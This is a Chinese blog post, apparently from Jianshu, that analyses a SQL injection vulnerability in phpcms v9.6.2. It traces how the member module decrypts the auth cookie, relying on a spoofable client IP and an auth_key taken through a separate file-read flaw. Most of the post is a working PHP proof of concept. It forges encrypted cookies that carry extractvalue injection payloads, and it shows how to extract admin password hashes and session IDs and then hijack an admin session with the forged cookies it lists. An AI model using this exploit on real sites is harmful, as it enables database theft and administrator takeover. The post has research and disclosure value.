phpcms v9.6.2 sqli注入漏洞分析

phpcms v9.6.2 再次同時(shí)爆出sqli注入漏洞和一個(gè)任意文件讀取漏洞, 繼續(xù)分析一波。

這次sqli注入漏洞還是在member模塊, 在會(huì)員前臺(tái)管理中心接口的繼承父類foreground:

class index extends foreground {

    private $times_db;
    
    function __construct() {
        parent::__construct();
        $this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
    }

在index類的構(gòu)造方法中調(diào)用了父類的構(gòu)造方法,我們跟進(jìn)繼承父類的構(gòu)造方法/phpcms/modules/member/classes/foreground.class.php line 19-38:

class foreground {
    public $db, $memberinfo;
    private $_member_modelinfo;
    
    public function __construct() {
        self::check_ip();
        $this->db = pc_base::load_model('member_model');
        //ajax驗(yàn)證信息不需要登錄
        if(substr(ROUTE_A, 0, 7) != 'public_') {
            self::check_member();
        }
    }
    
    /**
     * 判斷用戶是否已經(jīng)登陸
     */
    final public function check_member() {
        $phpcms_auth = param::get_cookie('auth');
        if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
            if ($phpcms_auth && ROUTE_A != 'mini') {
                showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
            } else {
                return true;
            }
        } else {
            //判斷是否存在auth cookie
            if ($phpcms_auth) {
                $auth_key = $auth_key = get_auth_key('login');
                list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
                //驗(yàn)證用戶,獲取用戶信息
                $this->memberinfo = $this->db->get_one(array('userid'=>$userid));

只要不是ajax登錄都需要進(jìn)入check_member驗(yàn)證信息, 在check_member()函數(shù)中導(dǎo)致sql注入地方:

$phpcms_auth = param::get_cookie('auth');
...
list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
//驗(yàn)證用戶,獲取用戶信息
$this->memberinfo = $this->db->get_one(array('userid'=>$userid));

$userid 的值是從cookie中獲取,然后經(jīng)過兩次解密后的結(jié)果,之后程序沒有過濾參數(shù)直接傳入get_one 拼接字符串, 最終導(dǎo)致注入產(chǎn)生。

那么這兩次解密過程都經(jīng)過了什么,我們來分析一下。

首先是param::get_cookie()函數(shù)從cookie獲加密值并解密,在/phpcms/libs/classes/param.class.php LINE 107-116

public static function get_cookie($var, $default = '') {
    $var = pc_base::load_config('system','cookie_pre').$var;
    $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
    if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
        $value = intval($value);
    } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
        $value = safe_replace($value);
    }
    return $value;
}

這里還有一個(gè)cookie_pre, 在system.php中設(shè)置著,然后調(diào)用sys_auth函數(shù)解密,沒有傳入key值默認(rèn)用配置文件中的auth_key作為解密密鑰。

程序繼續(xù)運(yùn)行,走到第二個(gè)解密的地方:

if ($phpcms_auth) {
    $auth_key = $auth_key = get_auth_key('login');
    list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));

sys_auth 傳入了第三個(gè)參數(shù)$auth_key 作為密鑰, 而$auth_key 又是通過get_auth_key函數(shù)獲得,跟進(jìn)函數(shù):

function get_auth_key($prefix,$suffix="") {
    if($prefix=='login'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
    }else if($prefix=='email'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
    }else{
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    echo $authkey;
//  exit();
    return $authkey;
}

$prefix是login,我們看第一個(gè)分支即可,$pc_auth_key 是配置文件的密鑰和ip()連接后的md5值,然后$prefix和$pc_auth_key連接在做md5才得到$auth_key 第二次解密的密鑰。

ip()函數(shù)我們是可以偽造的,來看其定義:

function ip() {
    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $ip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}

那么配置文件中的auth_key 該如何獲取呢? 我們可以通過v9.6.2任意文件讀取漏洞去去讀取caches/configs/system.php 來獲得

這樣,解密的key都是可控后,我們就可以偽造任意cookie進(jìn)行注入了, 上poc:

<?php
/**
* 字符串加密、解密函數(shù)
*
*
* @param    string    $txt        字符串
* @param    string    $operation    ENCODE為加密,DECODE為解密,可選參數(shù),默認(rèn)為ENCODE,
* @param    string    $key        密鑰:數(shù)字、字母、下劃線
* @param    string    $expiry        過期時(shí)間
* @return    string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : "4sUeVkLdmNZYGu2bPshg");
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

$auth_key = "wR67aGYF4kOghES5NKG1";
$ip = "123.59.214.3";
function get_auth_key($prefix,$suffix="") {
    global $auth_key;
    global $ip;
    if($prefix=='login'){
        $pc_auth_key = md5($auth_key.$ip);
    }else if($prefix=='email'){
        $pc_auth_key = md5($auth_key);
    }else{
        $pc_auth_key = md5($auth_key.$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

$auth_key2 = get_auth_key('login');
$auth_key2 = get_auth_key('login');
$sql = "1' and (extractvalue(1,concat(0x7e,(select user()))));#\txx";
#$sql = "1' and (extractvalue(1,concat(0x7e,(select sessionid from v9_session))));#\tokee";
$sql = sys_auth($sql,'ENCODE',$auth_key2);
echo sys_auth($sql,'ENCODE',$auth_key);

echo "\n";
echo sys_auth('1','ENCODE',$auth_key);

echo sys_auth('3d1bj3Vdx7JEQ6XakmlhBiUiEYBo7Ff3XMV2qrSu','DECODE',$auth_key);
image.png

之后爆帳號(hào)密碼也是一樣的,將paylaod改成select xx from v9_admin 即可,但如果需要解密的話還需要salt,就在v9_admin表中enctypt字段,phpcms密碼生成函數(shù)為:

function password($password, $encrypt='') {
    $pwd = array();
    $pwd['encrypt'] =  $encrypt ? $encrypt : create_randomstr();
    $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
    return $encrypt ? $pwd['password'] : $pwd;
}

這種加密在discuz,dede都采用同樣的加密。讓破解難度大大增加。

如果獲取了salt還是無法解密的話,還可以通過注入獲取到session值來偽造訪問后臺(tái)頁(yè)面(dede,discuz也都一樣),具體配置在system.php中:

<?php
return array(
//網(wǎng)站路徑
'web_path' => '/phpcmsv961/',
//Session配置
'session_storage' => 'mysql',
'session_ttl' => 1800,
'session_savepath' => CACHE_PATH.'sessions/',
'session_n' => 0,
//Cookie配置
'cookie_domain' => '', //Cookie 作用域
'cookie_path' => '', //Cookie 作用路徑
'cookie_pre' => 'qErKa_', //Cookie 前綴,同一域名下安裝多套系統(tǒng)時(shí),請(qǐng)修改Cookie前綴
'cookie_ttl' => 0, //Cookie 生命周期,0 表示隨瀏覽器進(jìn)程

mysql存儲(chǔ)方式,session有效期為30分鐘。

我們把poc里面的$sql換成第二條爆session的語句即可.

image.png

之后就是偽造session登錄后臺(tái)了

image.png

這里cookie中還需要另外兩個(gè)內(nèi)容:

PHPSESSID=7614jvu7e2hp7uemoioldco8c3;  zxtgv_siteid=75614CKDLhilVlQxGX06IK1FTqZnV7Hhs1c4Po34; zxtgv_userid=3d1bj3Vdx7JEQ6XakmlhBiUiEYBo7Ff3XMV2qrSu;

siteid和userid都設(shè)為1, 然后用auth_key加密下即可得到。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 0x01 漏洞分析 首先本次漏洞的問題函數(shù)不在于某一處函數(shù)或者語句,而是在與多方面的因素共同作用,最終可以進(jìn)行繞過...
    Pino_HD閱讀 9,949評(píng)論 0 4
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,534評(píng)論 19 139
  • 如若這個(gè)春天比你想象的美麗 那就不要辜負(fù) 用驚喜和感動(dòng)來迎接窗外的鸝語 或許等到夏天的躁動(dòng)睡醒時(shí) 你已不在這里 沒...
    晏米閱讀 211評(píng)論 0 2
  • 去年吧,通過朋友圈添加了幾個(gè)公眾號(hào)。因?yàn)殛P(guān)注的公眾號(hào)也不多,他們更新的每一篇文章我都看。從今年3月份開始,陸續(xù)加入...
    風(fēng)飄啊飄閱讀 360評(píng)論 0 0
  • 1.你的公眾號(hào)目標(biāo)用戶是誰?有什么誘餌有可能激發(fā)他幫你傳播?有什么內(nèi)容會(huì)激發(fā)他共鳴自發(fā)傳播? 注意:前后的區(qū)別在于...
    Really_238c閱讀 274評(píng)論 0 0

友情鏈接更多精彩內(nèi)容